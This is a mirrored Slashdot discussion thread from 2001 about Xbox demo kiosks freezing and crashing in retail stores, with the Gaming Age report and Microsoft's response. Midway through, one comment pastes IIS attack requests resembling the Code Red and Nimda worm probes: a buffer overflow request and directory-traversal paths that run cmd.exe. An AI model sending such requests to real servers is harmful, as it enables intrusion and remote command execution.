Slashdot Mirror
Crashing Xbox Kiosks
quannump writes "Gaming Age has an article up about some stores, including Toys R Us and Babbages, Xbox kiosk crashing at various places across the country. "Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee." It's funny because it's Microsoft. Get it? It's... oh never mind. Is DOA3 still planned as x-box only?
Wow! I've never seen *this* level before!
I must have fallen into some opaque blue liquid.
I hope I can swim to the top before I drown...
Why is it so hot? Where am I going? What am I doing in this handbasket?
I was playing one at Software Etc on Saturday.
It was some car driving game. I played for about 5 minutes when I tried to restart the race. The box locked up solid.
Now I know it was probally getting abused but I dont't think that it should have done that.
And actually I wasn't that impressed by the graphics. I think my Tbird 1.4 with my Gforce 3 is much better
Putting them inside those enclosures probably isn't the best place for heat dissipation. I know if I put my PC in something like that it wouldn't last long.
I say if the X-box is crashing this much it's pretty much DOA already.
--hongpong.com
Don't know if it's authentic though
A good friend of mine once said that if MS's development track record held up, that the X-Box would be a flop. To paraphrase, he said: "People don't expect their console to crash. If it does, they'll return it."
Now I know the PS2 had some backward-compatibility problems, but other than that, has it been rock-solid? I know I've never had so much as a hiccup from my Dreamcast.
My sigs always suck.
Taking out the Demo and blowing on it? Then they need to blow into the box itself before putting the demo back in. Then ya gotta hold down the reset button and sorta *tap tap tap* on the game, and it'll come on if you've got the "touch".
oh, wait. What? Oh, XBox. Right.
what the hell is a 'junk character', anyway?
Newer game consoles are shipping with heatsinks and fans, items which weren't needed in previous generations of game systems. What's scary is that this is even though Sega and Sony have intentionally done things to keep power consumption down, like using lower power CPUs like the SH4 and MIPS and keeping the amount of memory reasonable.
Microsoft is putting in a hot running CPU that was never designed for embedded systems use and twice the memory of the PS2. Sure, that makes it more powerful in a way, but it also may be over the line in terms of what you can do inside of a sealed consumer box. Remember, "more powerful" has never been the mantra of embedded systems engineers, but "cool running" and "rock solid reliable" are.
Over at the Sony Playstation store, everything works all the time. (Most of the PS2 games suck, but that's a separate problem.)
The XBox runs a cut-down version of Win2K, which supports one multi-threaded application at a time, running in kernel mode. It may have been a mistake, to use the architecture of a desktop OS without the protection.
GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNN
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% u5 3ff%u0078%u0000%u00=a
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+d ir
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir
/scripts/root.exe?/c+dir
/MSADC/root.exe?/c+dir
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/d/winnt/system32/cmd.exe?/c+dir
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
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/_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
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Demo kiosk units for modern game consoles usually have these problems, especially prerelease systems that use early hardware revisions. The crashing usually results from overheating caused by the machines running 24/7, in small enclosures with poor, if any ventilation. I have seen plenty of the old Dreamcast display units hung up and crashing to a black screen with a little text. It might also be due to the early software revisions in the machines.
Of course, anyone who had an old NES should remember that many of the system's games were very crash prone. I cannot begin to describe how many time I saw Teenage Mutant Ninja Turtles crash, to the point that I knew what areas to walk away from when parts of the screen would become distorted...
All consoles have a central processor, a graphics chip, some sound hardware and memory. Just because it's 80x86 rather than PowerPC/MIPS/SH4 doesn't make any difference.
The big difference is that it's the only one using a stripped-down version of a PC operating system. Oh, and it has a hard drive.
The main thing that makes PCs so vulnerable to crashes is the huge variation in hardware. XBox doesn't have this problem as all XBoxes (at the moment) are all the same.
I'd personally like to assign a -2 penalty on any comment rated 'funny' because most of them frankly just aren't funny at all.
It's funny because it's Microsoft.
Interpret the BSOD - Coming soon to video game stores near you!
Publisher: Microsoft 2001
Retail: $79.95/year license
EULA: You agree to the terms inside the package by opening the package.
The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
Here goes some precious karma
"Out of five stores that have playable demos within a ten mile area, only two have working units," says one Babbage's employee
That article describes 5 stores out of THE ENTIRE COUNTRY that have technical problems.
Think we are jumping the gun? Maybe its under super-scrutiny cause its microsoft, and people are taking advantage.
And the above quote (which will probably get that babbage's employee fired), is most likely an anti-MS/Linux Zealot out for blood against the X-Box. I don't see it very believable.
Lets wait for a few days AFTER they release the X-Box to kill it, k?
Good quote, too many chars. Seriously, the slashdot 120 char limit sucks!
If that doesn't work try;
http://www.evilavatar.com/EA/News/M34018/6983.jpg
The surprise isn't how often we make bad choices; the surprise is how seldom they defeat us.
weeks huh?
Im typing on a PC runnning windows 98SE that hasnt been rebooted in 2 months...
I also run a BBS on windows 98SE that, with the exception of the voluntary reboots, hasnt crashed on me since I built it in May
Thanks to file sharing, I purchase more CDs
Thanks to the RIAA, I buy them used...
It's not the crashing that I find so interesting, I mean it would be beating a dead horse to accuse Microsoft of releasing things that don't always operate as expected. What I think is strange is the lack of Microsoft branding in the promotional kiosks and posters I've seen. Taco Bell is running this huge promotion for the Xbox and there is no mention of Microsoft anywhere on the signage. I've seen a simmilar lack of the ubiquitous microsoft logo on the few kiosks displaying Xbox games and systems that I've seen. Given that I can't boot up Windows without seeing the Microsoft logo 10 times, this seems a little odd. Is it perhaps because we expect things like video game consoles not to crash? Are they trying to distance their reputation for blue screens and error messages from their entry into the console market? Ever remember rebooting your SNES because it just stopped working? Ever had to upgrade your Playstation because of buggy code? Me neither.
~raum
"Microsoft technical support... can I help you?"
"Um, yeah. I was, like um, playing this game... and, uh, it like totally froze one me in the middle of a level? And then, like the screen turned all blue and junk, and all these really freaky little numbers and letters came up? And dude, it like totally SUCKS because I was RIGHT in the middle of a totally awesome part of this game, right?"
"Ok sir, can I please please have your CC # which will be billed $30 for this incident?"
"wha?"
"I need you credit card before I can issue a trouble ticket for this incident."
"...but it like totally crapped out on me, dude! I'm not gonna pay $30 bucks just to TALK to you?!"
"Sir, if Microsoft can determine that the fault does not lie on you end, you will be refunded your technical support incident fee."
"&*(%$# you #@&*$% " (click)
Ok... Lets assume you don't like Microsoft. Now buy an X-Box and take it to your local True-Value and ask the paint guy to stick the X-Box in the vibrating/shaking-paint-mixer-thing. The X-Box will now have a ruined hard-drive. Return the X-Box and repeat untill you see Bill Gates bumming quarters for sex in your local slum.
Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.
::yoink::
There's an Xbox that's broken and it isn't in any living room in America yet. The Xbox demo unit at a nearby Toys R Us store could not give consumers a taste of the new Microsoft console because of severe loading problems. The Xbox unit had no disc inside and displayed a menu screen to access the hard drive and CD player. But customers who tried to navigate through menus could do little else but wait while the machine tried to load the next menu. The audio that accompanied the menu screen transition skipped severely as well. After a three minute wait, the Xbox reached the next screen but continued to have load problems. Multiple resets also failed to resolve the problem. Soon after, a screen appeared that said the Xbox needed customer service repair. The screen provided a list of customer service phone numbers to contact.
Several Toys R Us employees did not know what went wrong with the Xbox demo unit that now carried a "Out of Order" sign. The store received their unit on Tuesday. The in-store demo units are believed to be actual finalized hardware that consumers will see at launch.
GA has received several reports on problems with in-store Xbox units.
An Xbox unit in the Germantown, MD Target store is reported to have "freezing" problems that requires employees to open the kiosk every 75 minutes to reset the console.
An Xbox unit in Software Etc. store in Souix Falls, SD was reported to skip, freeze, and have audio problems.
An Xbox unit at a Babbages store in Mobile, AL was reported to have similar problems.
A Babbages employee at the Dearborn, MI store reports that their Xbox unit does not function.
"Out of five stores that have playable demos within a ten mile area, only two have working units," says the employee.
Microsoft recently delayed the Xbox launch and will ship an unspecified number of units on November 15th. It's unclear whether load problems were a source for delay. A Microsoft representative was contacted for the story but did not reply at press time.
We'll have more as it develops, here at GA.
-- Marcus Lai
Don't hold your breath. Emulating newer, more expensive hardware on older systems? If that were true, I'd be emulating my current PIII system on an old 286 rather than wasting the money upgrading.
++ Say to Elrond "Hello.".
Elrond says "No.". Elrond gives you some lunch.
If early generation games crash, Microsoft will have a perception problem regardless of who is at fault. The bar is set higher for entry machines these days. PlayStation and PlayStation II were not prone to crashing.
As someone already mentioned, comparing a kiosk that runs the early version of the console 24/7 in a poorly ventilated environment is different from comparing the final consumer product being used in regular conditions. As for Playstation II's not crashing, you must have a very short memory. I seem to remember headlines like PS2 glitches likely to drag down Sony's earnings , Sony finds glitches in three PS2 games and more when they first came out and look how successful PS2 is now.
I say, the jury is out until the holiday season is over before we can tell if X-Box will be a success or failure.
http://www.penny-arcade.com/xboxfiles.php3
Hilight:
A friend of mine (which we will call "Dave" to keep his real name anonymous) works there and was assigned to the XBOX project a month ago. (shocking!) Now you may imagine it must been a really busy month building and testing XBOXes and stuff but.. can you handle the truth? can you?!
According to Dave he has spent the last month doing.. (dramatic pause!) absolutely nothing. As a matter of fact he has been lingering around watching videos on the net and trying to appear to be busy. Why? because they didnt have anything to build! the xbox design finally went into production last SUNDAY! (september 23 2001) (truly shocking!!)
Now what happens if you start production on Sunday on a Mexican factory ? (dramatic pause allowing you to answer) NOBODY is there to do it! only those who are unlucky enough to be there doing extra time, (like poor old Dave was) But they were ORDERED to do it anyway. No QA guys, no big bosses nothing, just a bunch of employees, trying to build a machine for the first time ever! (shocking, er, shocking!)
As you may have guessed things didnt went very smooth, as a matter of fact they didnt go very smooth at all! lots of machines were so defective they didnt pass the normal standards and went back to the line again, Dave and his friend expent hours after hours trying to build the damn boxes but they still were defective, to make a large awful history short they only were able to build 10 Xboxes that day! 10! and those XBOXES who did make it only passed standard tests! no other testing was applied!
This is the first time a console has been launched in America first for quite some time. Usually the majority of the kinks are worked out when systems ship in Japan first and later in the US. We're experiencing virtual "beta hardware" testing firsthand with Xbox.
Second, there have been tons of reports of Xbox kiosks failing. Not just on GA. I've been reading a lot in the news and on many forums that Xbox kiosk failures are happening very frequently, far more than any PS2 failures. I have yet to hear about a single GameCube failure since it launched in Japan, too.
DOA3 has been reported to be heading to PS2 in the Official Playstation Magazine, along with a lot of Sega games that will merely premier on the Xbox.
Also, to clear something up, DOA3 does not look as good as Tecmo would want everyone to believe. Tecmo has a bad habit of releasing ultra high-res screens captured from developer kits (we're talking near 2000x pixel resolutions). They released beautiful but fake screenshots of DOA2: Hardcore on PS2 with tons of antialiasing. Then when you actually play DOA2 you'll find it's a jagged, shimmering mess. Sad to see that people are falling for the same trick again with DOA3.
Example:
Tecmo provided screenshot of DOA2:HC:
Touched up screen of DOA2
What DOA2 really looks like:
Real screenshot of DOA2
As you can see from these screenshots and movies not supplied by the overseers at Tecmo, the game doesn't really look that much different from DOA2.
Movie of DOA3
Screenshots of DOA3
Not to mention the DOA series' gameplay is very shallow and caters to button mashing, not nearly as deep as Tekken and Virtua Fighter. From the reports it sounds like DOA3 is a carbon copy of DOA2 with prettier graphics. Odd that the DOA series has suddenly become big-game despite lackluster sales on PS2/DC... Maybe because it's on Xbox, because if DOA3 were on PS2 it would be overshadowed by Tekken 4, Virtua Fighter 4 and Soul Calibur 2?
I'd say hold off on an Xbox until they work the kinks out and better games come out for it. The Dreamcast is dead but you can grab one for a very low price. The PS2 is the best platform for gaming now, there are so many good games out and coming out next month that my wallet is going to be screaming for mercy. GameCube looks solid but not quite as solid as the PS2. Wait and see if you are still uncertain.
Men believe what they want. - Caesar
Gaming Age has a response from Microsoft about the broken XBox units.. Here's the scoop:
A Microsoft representative has responded to yesterday's FiXbox story. Here's the official company line on in-store Xbox units.
"With over 10,000 playable Xbox kiosks at retail over a month before launch, there are bound to be a few issues that crop up. Microsoft representatives are currently following up with retailers across the country to insure proper functionality of kiosks. Overall, the displays are working great and we are on track to achieve our goal of having 100% of the Xbox interactive displays working correctly and demonstrating the Xbox difference."
I work on the salesfloor at a Target store and regularly work electronics. It seems every time I pass by the damn X Box kiosk I need to unlock it and reset it. The first day we had it the screen showed "Please Wait..." on the screen for the entire day until we managed to get keys to the kiosk to reset it. From what I've seen the graphics don't seem all that great, and the controls are much less than great. I think I'll just stick to my computer.
What you need to do to clear this up is goto www.microsoft.com/xbox and download the newest Service Pack (sp1) for the Xbox. This should clear everything up for you. We will be releasing some Hotpatches in the next couple of days as our beta testers get thier hands on the games. I am sorry I ment to say our customers get thier hands on the game. We will not be changing the release date we will just include the SP1 cd with the release.
Enjoy.
Neck_of_the_Woods
#/usr/local/surf/glassy/overhead
It even took the Gates family three tries:
William H Gates III
-D
I have to tell you all, I was playing this and thank God it crashed... I don't know if you all know about this new ActiveDeath technology.
Also don't forget that you can preorder units now
hmm... for fun I enjoy launching DDoS attacks against 127.87.42.5